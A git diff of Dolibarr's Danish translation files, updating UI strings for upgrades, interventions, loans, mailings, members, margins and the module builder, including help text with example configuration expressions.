      +YouTryUpgradeDisabledByMissingFileUnLock=Applikationen forsøgte at opgradere sig selv, men opgraderingsprocessen er i øjeblikket ikke tilladt.
      ClickHereToGoToApp=Klik her for at gå til din ansøgning ClickOnLinkOrRemoveManualy=Hvis en opgradering er i gang, skal du vente. Hvis ikke, skal du klikke på følgende link. Hvis du altid ser denne samme side, skal du fjerne / omdøbe filen install.lock i dokumentmappen. +ClickOnLinkOrCreateUnlockFileManualy=Hvis en opgradering er i gang, vent venligst... Hvis ikke, skal du oprette en fil upgrade.unlock i Dolibarr-dokumentbiblioteket. Loaded=Indlæst FunctionTest=Funktionstest +NodoUpgradeAfterDB=Ingen handling anmodet om af eksterne moduler efter opgradering af database +NodoUpgradeAfterFiles=Ingen handling anmodet om af eksterne moduler efter opgradering af filer eller mapper +MigrationContractLineRank=Migrer kontraktlinje for at bruge rang (og aktivere genbestilling) diff --git a/htdocs/langs/da_DK/interventions.lang b/htdocs/langs/da_DK/interventions.lang index da458e14a36..e18aa70ba87 100644 --- a/htdocs/langs/da_DK/interventions.lang +++ b/htdocs/langs/da_DK/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Skjuler timer og minutter fra datofeltet for indgr InterventionStatistics=Statistikker af indgreb NbOfinterventions=Antal interventionskort NumberOfInterventionsByMonth=Antal interventionskort efter måned (dato for bekræftelse) -AmountOfInteventionNotIncludedByDefault=Indgreb beløb er ikke medtaget som standard i overskud (i de fleste tilfælde benyttes tidsskemaer til at tælle tid). Tilføj valgmulighed PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT til 1 i home setup-andre for at inkludere dem. +AmountOfInteventionNotIncludedByDefault=Interventionsbeløb er ikke som standard inkluderet i overskuddet (i de fleste tilfælde bruges timesedler til at tælle brugt tid). Du kan bruge PROJECT_ELEMENTS_FOR_ADD_MARGIN og PROJECT_ELEMENTS_FOR_MINUS_MARGIN valgmuligheden i home-setup-other for at fuldføre listen over elementer inkluderet i profit. InterId=Indgrebs id InterRef=Indgreb ref. InterDateCreation=Dato oprettelse for indgreb @@ -68,3 +68,5 @@ ConfirmReopenIntervention=Er du sikker på, at du vil åbne interventionen % GenerateInter=Generer intervention FichinterNoContractLinked=Intervention %s er blevet oprettet uden en tilknyttet kontrakt. ErrorFicheinterCompanyDoesNotExist=Virksomheden eksisterer ikke. Intervention er ikke blevet oprettet. +NextDateToIntervention=Dato for næste interventionsgeneration +NoIntervention=Ingen indgriben diff --git a/htdocs/langs/da_DK/loan.lang b/htdocs/langs/da_DK/loan.lang index d5d4fe3846f..239af7bf93c 100644 --- a/htdocs/langs/da_DK/loan.lang +++ b/htdocs/langs/da_DK/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = Kan ikke generere en tidslinje for et lå CantModifyInterestIfScheduleIsUsed = Du kan ikke ændre renten, hvis du bruger tidsplanen # Admin ConfigLoan=Opsætning af lånemodul -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Regnskabskonto kapital som standard -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Regnskabskonto renter som standard -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Regnskabskonto forsikring som standard +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Konto (fra kontoplanen) skal som standard bruges til kapital (lånemodul) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Konto (fra kontoplanen) bruges som standard til renter (lånemodul) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Konto (fra kontoplanen) skal som standard bruges til forsikring (lånemodul) CreateCalcSchedule=Rediger økonomisk forpligtelse diff --git a/htdocs/langs/da_DK/mailmanspip.lang b/htdocs/langs/da_DK/mailmanspip.lang index b0f19f96de9..1ab8040172c 100644 --- a/htdocs/langs/da_DK/mailmanspip.lang +++ b/htdocs/langs/da_DK/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Abonnements testen blev udført med succes MailmanDeletionSuccess=Unsubscription test blev udført med succes SynchroMailManEnabled=En Mailman opdatering vil blive udført SynchroSpipEnabled=En Spip opdatering vil blive udført -DescADHERENT_MAILMAN_ADMINPW=Mailman administrator adgangskode +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman administrator adgangskode DescADHERENT_MAILMAN_URL=URL til Mailman abonnementer DescADHERENT_MAILMAN_UNSUB_URL=URL til Mailman abonnementer DescADHERENT_MAILMAN_LISTS=Liste (r) til automatisk registrering af nye medlemmer (adskilt af komma) diff --git a/htdocs/langs/da_DK/mails.lang b/htdocs/langs/da_DK/mails.lang index 4bdc2bca9ee..81314c1e241 100644 --- a/htdocs/langs/da_DK/mails.lang +++ b/htdocs/langs/da_DK/mails.lang @@ -7,10 +7,10 @@ MailCard=Emailing kortet MailRecipients=Modtagere MailRecipient=Recipient MailTitle=Titel -MailFrom=Sender +MailFrom=Fra MailErrorsTo=Fejl MailReply=Besvar -MailTo=Receiver (r) +MailTo=Til MailToUsers=Til bruger (e) MailCC=Kopier til MailToCCUsers=Kopier til brugere (e) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contacts by position MailingModuleDescEmailsFromFile=E-mails fra filen MailingModuleDescEmailsFromUser=Emails indlæst af brugeren MailingModuleDescDolibarrUsers=Brugere med e-mails -MailingModuleDescThirdPartiesByCategories=Tredjeparter (efter kategorier) +MailingModuleDescThirdPartiesByCategories=Tredje partier SendingFromWebInterfaceIsNotAllowed=Afsendelse fra webgrænseflade er ikke tilladt. EmailCollectorFilterDesc=Alle filtre skal matche for at en e-mail bliver indsamlet @@ -117,14 +117,14 @@ ToAddRecipientsChooseHere=Hvis du vil tilføje modtagere, skal du vælge i disse NbOfEMailingsReceived=Masse emailings modtaget NbOfEMailingsSend=Mass emailings sent IdRecord=ID record -DeliveryReceipt=Delivery Ack. +DeliveryReceipt=Leverings Bekr. YouCanUseCommaSeparatorForSeveralRecipients=Du kan bruge comma separator til at angive flere modtagere. TagCheckMail=Track mail opening TagUnsubscribe=Unsubscribe link TagSignature=Signatur af afsender EMailRecipient=Modtagers E-mail TagMailtoEmail=Modtager E-mail (herunder html "mailto:" link) -NoEmailSentBadSenderOrRecipientEmail=No email sent. Bad sender or recipient email. Verify user profile. +NoEmailSentBadSenderOrRecipientEmail=E-mail blev ikke sendt. Ugyldig afsender eller modtager adresse. Kontroller bruger profilen. # Module Notifications Notifications=Adviséringer NotificationsAuto=Underretninger Auto. @@ -179,3 +179,4 @@ RecordCreatedByEmailCollector=Post oprettet af Email Collector %s fra e-mail %s DefaultBlacklistMailingStatus=Standardværdi for feltet '%s' ved oprettelse af en ny kontaktperson DefaultStatusEmptyMandatory=Tom men obligatorisk WarningLimitSendByDay=ADVARSEL: Opsætningen eller kontrakten for din instans begrænser dit antal e-mails pr. dag til %s. Forsøg på at sende mere kan resultere i, at din instans bliver langsommere eller suspenderet. Kontakt venligst din support, hvis du har brug for en højere kvote. +NoMoreRecipientToSendTo=Ikke flere modtagere at sende e-mailen til diff --git a/htdocs/langs/da_DK/main.lang b/htdocs/langs/da_DK/main.lang index e3f0cd0a967..d953a53564c 100644 --- a/htdocs/langs/da_DK/main.lang +++ b/htdocs/langs/da_DK/main.lang @@ -25,7 +25,7 @@ FormatHourShort=%H:%M FormatHourShortDuration=%H:%M FormatDateTextShort=%d %b %Y FormatDateText=%d %B %Y -FormatDateHourShort=%d/%m/%Y %H:%M +FormatDateHourShort=%d/%m/%Y %H:%M%p FormatDateHourSecShort=%m/%d/%Y %I:%M:%S %p FormatDateHourTextShort=%d %b %Y %H:%M FormatDateHourText=%d %B %Y %H:%M @@ -34,6 +34,7 @@ NoTemplateDefined=Ingen skabelon tilgængelig for denne e-mailtype AvailableVariables=Tilgængelige substitutionsvariabler NoTranslation=Ingen oversættelse Translation=Oversættelse +Translations=Oversættelser CurrentTimeZone=Tidszone PHP (server) EmptySearchString=Indtast ikke tomme søgekriterier EnterADateCriteria=Indtast et datokriterie @@ -82,7 +83,7 @@ SeeAlso=Se også %s SeeHere=Se her ClickHere=Klik her Here=Her -Apply=Ansøge +Apply=Anvend BackgroundColorByDefault=Standard baggrundsfarve FileRenamed=Filen blev omdøbt FileGenerated=Filen blev genereret @@ -173,7 +174,7 @@ ConfirmSendCardByMail=Vil du virkelig sende indholdet af dette kort med post til Delete=Slet Remove=Fjerne Resiliate=Deaktiver -Cancel=Afbestille +Cancel=Annuller Modify=Ret Edit=Redigere Validate=Valider @@ -205,6 +206,7 @@ Valid=Gyldig Approve=Godkende Disapprove=Afvis ReOpen=Genåbne +OpenVerb=Åben Upload=Upload ToLink=Link Select=Vælg @@ -222,8 +224,9 @@ UserGroup=Brugergruppe UserGroups=Brugergrupper NoUserGroupDefined=Ingen brugergruppe defineret Password=Adgangskode -PasswordRetype=Indtast din adgangskode igen +PasswordRetype=Gentag din adgangskode NoteSomeFeaturesAreDisabled=Bemærk, at mange funktioner/moduler er deaktiveret i denne demonstration. +YourUserFile=Din brugerfil Name=Navn NameSlashCompany=Navn/virksomhed Person=Person @@ -487,6 +490,7 @@ ActionsOnContact=Begivenheder for denne kontakt / adresse ActionsOnContract=Begivenheder for denne kontrakt ActionsOnMember=Begivenheder for denne medlem ActionsOnProduct=Begivenheder omkring dette produkt +ActionsOnAsset=Begivenheder for dette anlægsaktiv NActionsLate=%s sent ToDo=At gøre Completed=Afsluttet @@ -510,6 +514,7 @@ NotYetAvailable=Ikke tilgængelig endnu  NotAvailable=Ikke til rådighed Categories=Tags/kategorier Category=Tags/kategori +SelectTheTagsToAssign=Vælg de tags/kategorier, der skal tildeles By=Ved From=Fra FromDate=Fra @@ -808,6 +813,7 @@ URLPhoto=Url af foto/logo SetLinkToAnotherThirdParty=Link til en anden tredjepart LinkTo=Link til LinkToProposal=Link til forslag +LinkToExpedition= Link til ekspeditionen LinkToOrder=Link til ordre LinkToInvoice=Link til faktura LinkToTemplateInvoice=Link til skabelonfaktura @@ -893,6 +899,9 @@ MassFilesArea=Område for filer opbygget af massehandlinger ShowTempMassFilesArea=Vis område af filer bygget af massehandlinger ConfirmMassDeletion=Bekræftelse på massesletning ConfirmMassDeletionQuestion=Er du sikker på, at du vil slette den/de valgt/valgte %s post(er)? +ConfirmMassClone=Bulk klon bekræftelse +ConfirmMassCloneQuestion=Vælg det projekt, der skal klones til +ConfirmMassCloneToOneProject=Klon for at projektere %s RelatedObjects=Relaterede objekter ClassifyBilled=Klassificere faktureret ClassifyUnbilled=Klassificer Ikke faktureret @@ -908,13 +917,14 @@ ExportFilteredList=Eksporter filtreret liste ExportList=Eksportliste ExportOptions=Eksport indstillinger IncludeDocsAlreadyExported=Inkluder dokumenter, der allerede er eksporteret -ExportOfPiecesAlreadyExportedIsEnable=Eksport af allerede eksporterede stykker er aktiveret -ExportOfPiecesAlreadyExportedIsDisable=Eksport af allerede eksporterede stykker er deaktiveret +ExportOfPiecesAlreadyExportedIsEnable=Dokumenter, der allerede er eksporteret, er synlige og vil blive eksporteret +ExportOfPiecesAlreadyExportedIsDisable=Dokumenter, der allerede er eksporteret, er skjulte og vil ikke blive eksporteret AllExportedMovementsWereRecordedAsExported=Alle eksporterede bevægelser blev registreret som eksporteret NotAllExportedMovementsCouldBeRecordedAsExported=Ikke alle eksporterede bevægelser kunne registreres som eksporteret Miscellaneous=Diverse Calendar=Kalender GroupBy=Gruppér efter +GroupByX=Gruppér efter %s ViewFlatList=Se flad liste ViewAccountList=Vis hovedbog ViewSubAccountList=Se underkonto hovedbog @@ -926,6 +936,7 @@ DirectDownloadInternalLink=Privat downloadlink PrivateDownloadLinkDesc=Du skal være logget, og du skal have tilladelse til at se eller downloade filen Download=Hent DownloadDocument=Hent dokument +DownloadSignedDocument=Download underskrevet dokument ActualizeCurrency=Opdater valutakurs Fiscalyear=Regnskabsår ModuleBuilder=Modul og applikationsbygger @@ -1051,6 +1062,7 @@ SearchIntoContracts=Kontrakter SearchIntoCustomerShipments=Kundeforsendelser SearchIntoExpenseReports=Udgiftsrapporter SearchIntoLeaves=Forlade +SearchIntoKM=Videnbase SearchIntoTickets=Opgaver SearchIntoCustomerPayments=Kundebetalinger SearchIntoVendorPayments=Leverandørbetalinger @@ -1094,7 +1106,7 @@ ToApprove=At godkende GlobalOpenedElemView=Globalt overblik NoArticlesFoundForTheKeyword=Ingen artikler fundet for nøgleordet ' %s ' NoArticlesFoundForTheCategory=Der blev ikke fundet nogen artikel for denne kategori -ToAcceptRefuse=At acceptere | nægte +ToAcceptRefuse=Til godkendelse | afslag ContactDefault_agenda=Begivenhed ContactDefault_commande=Ordre ContactDefault_contrat=Kontrakt @@ -1122,6 +1134,7 @@ DeleteFileText=Vil du virkelig slette denne fil? ShowOtherLanguages=Vis andre sprog SwitchInEditModeToAddTranslation=Skift i redigeringsfunktion for at tilføje oversættelser til dette sprog NotUsedForThisCustomer=Ikke brugt til denne kunde +NotUsedForThisVendor=Ikke brugt til denne leverandør AmountMustBePositive=Beløbet skal være positivt ByStatus=Efter status InformationMessage=Information @@ -1142,15 +1155,29 @@ EventReminder=Påmindelse om begivenhed UpdateForAllLines=Opdatering til alle linjer OnHold=Afventer Civility=Høflighed -AffectTag=Påvirke tags +AffectTag=Tildel et tag +AffectUser=Tildel en bruger +SetSupervisor=Indstil vejlederen CreateExternalUser=Opret ekstern bruger -ConfirmAffectTag=Bulk Tags påvirker -ConfirmAffectTagQuestion=Er du sikker på, at du vil påvirke tags til den %s valgte post (er)? +ConfirmAffectTag=Bulk Tag Tildeling +ConfirmAffectUser=Massebrugertildeling +ProjectRole=Rolle tildelt på hvert projekt/mulighed +TasksRole=Rolle tildelt hver opgave (hvis brugt) +ConfirmSetSupervisor=Bulk supervisor sæt +ConfirmUpdatePrice=Vælg en stigning/reduktionspris +ConfirmAffectTagQuestion=Er du sikker på, at du vil tildele tags til de(n) valgte post(er) %s? +ConfirmAffectUserQuestion=Er du sikker på, at du vil tildele brugere til den eller de valgte %s-poster? +ConfirmSetSupervisorQuestion=Er du sikker på, at du vil indstille supervisor til de(n) valgte %s(e) post(er)? +ConfirmUpdatePriceQuestion=Er du sikker på, at du vil opdatere prisen på den eller de valgte post(er) %s? CategTypeNotFound=Ingen tag-type fundet for typen af poster +Rate=Sats +SupervisorNotFound=Supervisor ikke fundet CopiedToClipboard=Kopieret til udklipsholderen InformationOnLinkToContract=Dette beløb er kun summen af alle linjer i kontrakten. Der tages ikke hensyn til tid. ConfirmCancel=Er du sikker på at du vil annullere EmailMsgID=E-mail MsgID +EmailDate=E-mail dato +SetToStatus=Indstil til status %s SetToEnabled=Indstil til aktiveret SetToDisabled=Indstillet til deaktiveret ConfirmMassEnabling=masse muliggør bekræftelse @@ -1179,11 +1206,24 @@ Terminated=Afsluttet AddLineOnPosition=Tilføj linje på position (i slutningen, hvis tom) ConfirmAllocateCommercial=Tildel salgsrepræsentant bekræftelse ConfirmAllocateCommercialQuestion=Er du sikker på, at du vil tildele den eller de valgte post(er) %s? -CommercialsAffected=Salgsrepræsentanter berørt -CommercialAffected=Sælger berørt +CommercialsAffected=Salgsrepræsentanter tildelt +CommercialAffected=Salgsrepræsentant tildelt YourMessage=Din besked YourMessageHasBeenReceived=Din besked er modtaget. Vi svarer eller kontakter dig hurtigst muligt. UrlToCheck=Url for at tjekke Automation=Automatisering CreatedByEmailCollector=Oprettet af e-mail-samler CreatedByPublicPortal=Oprettet fra offentlig portal +UserAgent=Brugeragent +InternalUser=Intern bruger +ExternalUser=Ekstern bruger +NoSpecificContactAddress=Ingen specifik kontakt eller adresse +NoSpecificContactAddressBis=Denne fane er dedikeret til at tvinge specifikke kontakter eller adresser til det aktuelle objekt. Brug det kun, hvis du ønsker at definere en eller flere specifikke kontakter eller adresser for objektet, når oplysningerne om tredjeparten ikke er tilstrækkelige eller ikke nøjagtige. +HideOnVCard=Skjul %s +AddToContacts=Tilføj adresse til mine kontakter +LastAccess=Sidste adgang +UploadAnImageToSeeAPhotoHere=Upload et billede fra fanen %s for at se et billede her +LastPasswordChangeDate=Dato for sidste ændring af adgangskode +PublicVirtualCardUrl=Virtuelt visitkortside URL +PublicVirtualCard=Virtuelt visitkort +TreeView=Træ oversigt diff --git a/htdocs/langs/da_DK/margins.lang b/htdocs/langs/da_DK/margins.lang index 94e6a992cee..c4fc58bd086 100644 --- a/htdocs/langs/da_DK/margins.lang +++ b/htdocs/langs/da_DK/margins.lang @@ -6,6 +6,7 @@ TotalMargin=Total margen MarginOnProducts=Margen / Produkter MarginOnServices=Margin / Services MarginRate=Margen sats +ModifyMarginRates=Rediger marginsatser MarkRate=Mark rate DisplayMarginRates=Vis margen satser DisplayMarkRates=Vis markeringsrenter diff --git a/htdocs/langs/da_DK/members.lang b/htdocs/langs/da_DK/members.lang index de0576c85b3..5afe331dcb9 100644 --- a/htdocs/langs/da_DK/members.lang +++ b/htdocs/langs/da_DK/members.lang @@ -4,6 +4,8 @@ MemberCard=Medlem kortet SubscriptionCard=Subscription kortet Member=Medlem Members=Medlemmer +NoRecordedMembers=Ingen registrerede medlemmer +NoRecordedMembersByType=Ingen registrerede medlemmer ShowMember=Vis medlemskort UserNotLinkedToMember=Brugeren ikke er knyttet til et medlem ThirdpartyNotLinkedToMember=Tredjepart, der ikke er knyttet til et medlem @@ -15,6 +17,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Et andet medlem (navn: %s, login: ErrorUserPermissionAllowsToLinksToItselfOnly=Af sikkerhedsmæssige grunde skal du have tilladelser til at redigere alle brugere for at kunne linke en medlem til en bruger, der ikke er din. SetLinkToUser=Link til en Dolibarr bruger SetLinkToThirdParty=Link til en Dolibarr tredjepart +MemberCountersArePublic=Tællerne for gyldige medlemmer er offentlige MembersCards=Generering af kort til medlemmer MembersList=Liste over medlemmer MembersListToValid=Liste over udkast til medlemmer (der skal bekræftes) @@ -34,7 +37,8 @@ DateSubscription=Dato for medlemskab DateEndSubscription=Slutdato for medlemskab EndSubscription=Slutning af medlemskab SubscriptionId=Bidrag -id -WithoutSubscription=Uden bidrag +WithoutSubscription=Uden medlemskab +WaitingSubscription=Medlemskab afventer MemberId=Medlems ID MemberRef=Medlems reference NewMember=Nyt medlem @@ -72,6 +76,12 @@ MemberTypeCanNotBeDeleted=Medlemstype kan ikke slettes NewSubscription=Nye bidrag NewSubscriptionDesc=Denne form giver dig mulighed for at registrere dit abonnement som nyt medlem af fundamentet. Hvis du ønsker at forny dit abonnement (hvis der allerede er medlem), bedes du kontakte fundament bord i stedet via e-mail %s. Subscription=Bidrag +AnyAmountWithAdvisedAmount=Enhver mængde efter eget valg, anbefales %s +AnyAmountWithoutAdvisedAmount=Ethvert beløb efter eget valg +CanEditAmountShort=Ethvert beløb +CanEditAmountShortForValues=anbefalet, ethvert beløb +MembershipDuration=Varighed +GetMembershipButtonLabel=Tilslutte Subscriptions=Bidrag SubscriptionLate=Sen SubscriptionNotReceived=Bidrag blev aldrig modtaget @@ -136,7 +146,7 @@ CardContent=Indholdet af din medlem kortet # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=Vi vil gerne fortælle dig, at din anmodning om medlemskab blev modtaget.

      ThisIsContentOfYourMembershipWasValidated=Vi vil gerne fortælle dig, at dit medlemskab blev bekræftet med følgende oplysninger:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      +ThisIsContentOfYourSubscriptionWasRecorded=Vi vil gerne fortælle dig, at dit nye abonnement blev registreret. Vedlagt din faktura her.

      ThisIsContentOfSubscriptionReminderEmail=Vi vil fortælle dig, at dit abonnement er ved at udløbe eller allerede er udløbet (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Vi håber, at du fornyer det.

      ThisIsContentOfYourCard=Dette er en oversigt over de oplysninger, vi har om dig. Kontakt os, hvis noget er forkert. DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Meddelelse om den e-mail, der er modtaget i tilfælde af automatisk registrering af en gæst @@ -198,9 +208,12 @@ SubscriptionsStatistics=Bidragsstatistik NbOfSubscriptions=Antal bidrag AmountOfSubscriptions=Beløb opkrævet fra bidrag TurnoverOrBudget=Omsætning (for et selskab) eller Budget (en fond) -DefaultAmount=Standardbeløb for bidrag -CanEditAmount=Besøgende kan vælge/redigere beløbet for sit bidrag -MEMBER_NEWFORM_PAYONLINE=Hop på integreret online betaling side +DefaultAmount=Standardbeløb for bidrag (bruges kun, hvis der ikke er defineret noget beløb på medlemstypeniveau) +MinimumAmount=Minimumsbeløb (bruges kun, når bidragsbeløbet er gratis) +CanEditAmount=Abonnementsbeløbet er gratis +CanEditAmountDetail=Besøgende kan vælge/redigere beløbet for sit bidrag uanset medlemstype +AmountIsLowerToMinimumNotice=på et samlet forfald af%s +MEMBER_NEWFORM_PAYONLINE=Efter online-registreringen skifter du automatisk på onlinebetalingssiden ByProperties=Af natur MembersStatisticsByProperties=Medlemsstatistik af natur VATToUseForSubscriptions=Momssats, der skal bruges til bidrag @@ -221,3 +234,5 @@ CreateDolibarrLoginDesc=Oprettelsen af et brugerlogin for medlemmer giver dem mu CreateDolibarrThirdPartyDesc=En tredjepart er den juridiske enhed, der vil blive brugt på fakturaen, hvis du beslutter dig for at generere faktura for hvert bidrag. Du vil kunne oprette det senere under registreringen af bidraget. MemberFirstname=Medlemmets fornavn MemberLastname=Medlemmets efternavn +MemberCodeDesc=Medlemskode, unik for alle medlemmer +NoRecordedMembers=Ingen registrerede medlemmer diff --git a/htdocs/langs/da_DK/modulebuilder.lang b/htdocs/langs/da_DK/modulebuilder.lang index 5e6d41ecf51..c0622ac9602 100644 --- a/htdocs/langs/da_DK/modulebuilder.lang +++ b/htdocs/langs/da_DK/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Modul id ModuleBuilderDesc=Dette værktøj må kun bruges af erfarne brugere eller udviklere. Det giver værktøjer til at bygge eller redigere dit eget modul. Dokumentation for alternativ manuel udvikling er her . EnterNameOfModuleDesc=Indtast navnet på modulet/applikationen, der skal oprettes uden mellemrum. Brug store bogstaver til at adskille ord (for eksempel: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Indtast navnet på det objekt, der skal oprettes, uden mellemrum. Brug store bogstaver til at adskille ord (for eksempel: Mit objekt, elev, lærer...). CRUD-klassefilen, men også API-fil, sider til liste/tilføj/rediger/slet objekt og SQL-filer vil blive genereret. +EnterNameOfObjectDesc=Indtast navnet på det objekt, der skal oprettes, uden mellemrum. Brug store bogstaver til at adskille ord (for eksempel: Mit objekt, elev, lærer...). CRUD-klassefilen, siderne til at liste/tilføje/redigere/slette objektet og SQL-filerne vil blive genereret. EnterNameOfDictionaryDesc=Indtast navnet på den ordbog, der skal oprettes uden mellemrum. Brug store bogstaver til at adskille ord (for eksempel: MyDico...). Klassefilen, men også SQL-filen vil blive genereret. ModuleBuilderDesc2=Sti, hvor moduler genereres / redigeres (første bibliotek for eksterne moduler defineret i %s):%s ModuleBuilderDesc3=Genererede / redigerbare moduler fundet: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=Et modul registreres som 'redigerbart', når filen % NewModule=Nyt modul NewObjectInModulebuilder=Nyt objekt NewDictionary=Ny ordbog +ModuleName=Modulnavn ModuleKey=Modul nøgle ObjectKey=Objektnøgle DicKey=Ordbogsnøgle @@ -48,11 +50,14 @@ PathToModulePackage=Sti til zip af modul / applikationspakke PathToModuleDocumentation=Sti til fil af modul / applikationsdokumentation (%s) SpaceOrSpecialCharAreNotAllowed=Mellemrum eller specialtegn er ikke tilladt. FileNotYetGenerated=Filen er endnu ikke genereret +GenerateCode=Generer kode RegenerateClassAndSql=Tving opdatering af .class og .sql filer RegenerateMissingFiles=Generer manglende filer SpecificationFile=Dokumentationsfil LanguageFile=Fil til sprog ObjectProperties=Objektegenskaber +Property=Ejendom +PropertyDesc=En egenskab er en egenskab, der karakteriserer et objekt. Denne attribut har en kode, en etiket og en type med flere muligheder. ConfirmDeleteProperty=Er du sikker på, at du vil slette ejendommen %s ? Dette vil ændre kode i PHP klasse, men også fjerne kolonne fra tabeldefinition af objekt. NotNull=Ikke NULL NotNullDesc=1=Indstil databasen til IKKE NULL, 0=Tillad nulværdier, -1=Tillad nulværdier ved at tvinge værdien til NULL, hvis den er tom ('' eller 0) @@ -81,15 +86,16 @@ IsAMeasure=Er en foranstaltning DirScanned=Directory scannet NoTrigger=Ingen udløser NoWidget=Ingen widget -GoToApiExplorer=API udforske +ApiExplorer=API udforske ListOfMenusEntries=Liste over menupunkter ListOfDictionariesEntries=Liste over poster i ordbøger ListOfPermissionsDefined=Liste over definerede tilladelser SeeExamples=Se eksempler her -EnabledDesc=Tilstand at have dette felt aktivt (Eksempler: 1 eller $ conf-> global-> MYMODULE_MYOPTION) -VisibleDesc=Er feltet synligt? (Eksempler: 0 = Aldrig synlig, 1 = Synlig på listen og opret / opdater / vis formularer, 2 = Kun synlig på listen, 3 = Synlig kun på oprettelse / opdatering / visningsformular (ikke liste), 4 = Synlig på listen og 3 opdaterings- / visningsformular kun (ikke oprettes), 5 = Synlig på formularen for slut visningsvisning (ikke opretning, ikke opdatering).

      Brug af en negativ værdi betyder felt vises ikke som standard på listen, men kan vælges til visning).

      Det kan være et udtryk, for eksempel:
      preg_match ('/ public /', $ _SERVER ['PHP_SELF'])? 0: 1
      ($ bruger-> rettigheder-> ferie-> definere_ferie? 1: 0) -DisplayOnPdfDesc=Vis dette felt på kompatible PDF-dokumenter, du kan administrere position med "Position" -feltet.
      I øjeblikket er kendte kompatible PDF-modeller: eratosthene (ordre), espadon (skib), svamp (fakturaer), cyan (propal / tilbud), cornas (leverandørbestilling)

      a0e7843947c06f0a0f6a0 = display
      2 = vise, hvis ikke tømmes

      for dokumentlinjer:
      0 = ikke vises
      1 = vises i en kolonne
      3 = display på linje beskrivelse søjlen efter beskrivelsen
      4 = display i beskrivelsen kolonne efter beskrivelse kun hvis den ikke er tom -DisplayOnPdf=Vis på PDF +EnabledDesc=Betingelse for at have dette felt aktivt.

      Eksempler:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Er feltet synligt? (Eksempler: 0=Aldrig synlig, 1=Synlig på liste og opret/opdater/vis formularer, 2=Kun synlig på liste, 3=Kun synlig på oprette/opdater/se formular (ikke liste), 4=Synlig på liste og kun opdater/vis formular (ikke oprette), 5=Kun synlig på liste slut visning formular (ikke opret, ikke opdatering).

      Brug af en negativ værdi betyder, at feltet ikke vises som standard på listen, men kan vælges til visning). +ItCanBeAnExpression=Det kan være et udtryk. Eksempel:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Vis dette felt på kompatible PDF-dokumenter, du kan administrere position med feltet "Position".
      For dokument :
      0 = ikke vist
      1 = vist
      2 = vist kun hvis ikke tom

      For dokument linier :
      0 = ikke vist
      1 = vist i en række
      3 = display in line description kolonne efter beskrivelsen
      4 = vises kun i beskrivelseskolonne efter beskrivelsen, hvis den ikke er tom +DisplayOnPdf=På PDF IsAMeasureDesc=Kan værdien af ​​feltet akkumuleres for at få en samlet liste? (Eksempler: 1 eller 0) SearchAllDesc=Er feltet brugt til at foretage en søgning fra hurtigsøgningsværktøjet? (Eksempler: 1 eller 0) SpecDefDesc=Indtast her alt dokumentation, du vil levere med dit modul, som ikke allerede er defineret af andre faner. Du kan bruge .md eller bedre den rige .asciidoc-syntaks. @@ -130,27 +136,40 @@ UseSpecificEditorURL = Brug en bestemt editor webadresse UseSpecificFamily = Brug en bestemt familie UseSpecificAuthor = Brug en bestemt forfatter UseSpecificVersion = Brug en bestemt initial version -IncludeRefGeneration=Referencen til objektet skal genereres automatisk af tilpassede nummereringsregler +IncludeRefGeneration=Referencen til dette objekt skal genereres automatisk af tilpassede nummereringsregler IncludeRefGenerationHelp=Marker dette, hvis du vil inkludere kode til at styre genereringen af referencen automatisk ved hjælp af tilpassede nummereringsregler -IncludeDocGeneration=Jeg vil generere nogle dokumenter fra skabeloner til objektet +IncludeDocGeneration=Jeg vil have funktionen til at generere nogle dokumenter (PDF, ODT) fra skabeloner til dette objekt IncludeDocGenerationHelp=Hvis du markerer dette, vil nogle koder genereres for at tilføje en kasse "Generer dokument" på posten. -ShowOnCombobox=Vis værdi til combobox +ShowOnCombobox=Vis værdi i kombinationsbokse KeyForTooltip=Nøgle til værktøjstip CSSClass=CSS til redigering / oprettelse af formular CSSViewClass=CSS til læst form CSSListClass=CSS til liste NotEditable=Ikke redigerbar ForeignKey=Fremmed nøgle -TypeOfFieldsHelp=Type felter:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' betyder, at vi tilføjer en +-knap efter kombinationen for at oprette posten
      'filter' er en SQL-betingelse, eksempel: 'status=1 OG fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=Hvis værdien af dette felt skal garanteres findes i en anden tabel. Indtast her en værdi, der matcher syntaks: tablename.parentfieldtocheck +TypeOfFieldsHelp=Eksempel:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      ' 1' betyder, at vi tilføjer en +-knap efter kombinationen for at oprette posten
